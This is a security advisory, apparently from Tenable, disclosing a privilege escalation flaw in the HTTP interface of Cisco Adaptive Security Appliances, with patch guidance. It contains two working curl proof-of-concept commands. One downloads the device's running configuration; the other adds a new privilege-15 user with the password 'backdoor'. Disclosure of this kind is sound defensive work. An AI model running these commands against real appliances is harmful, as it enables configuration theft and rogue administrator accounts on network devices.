Synopsis
While examining a Cisco Adaptive Security Appliance, Tenable discovered a privilege escalation vulnerability in the HTTP interface. When command authorization is not enabled, an authenticated remote unprivileged (level 0 or 1) user can change or download files as well as upload or replace software images on the appliance.
A simple proof of concept for downloading the running configuration follows:
curl --basic -u notadmin -p -k http://[ip]/admin/system/running-config
The following proof of concept allows an unprivileged user to add a new privileged user to the running configuration:
curl --basic -u notadmin -p -k -X “POST” --data-binary “username fourthuser password backdoor privilege 15” “http://[ip]/admin/config”
Solution
Cisco has released an advisory and patches. You can find full details linked below. Also, enabling command authorization is a recommended best practice.Additional References
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181219-asa-privescDisclosure Timeline
All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.
Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.
For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.
If you have questions or corrections about this advisory, please email [email protected]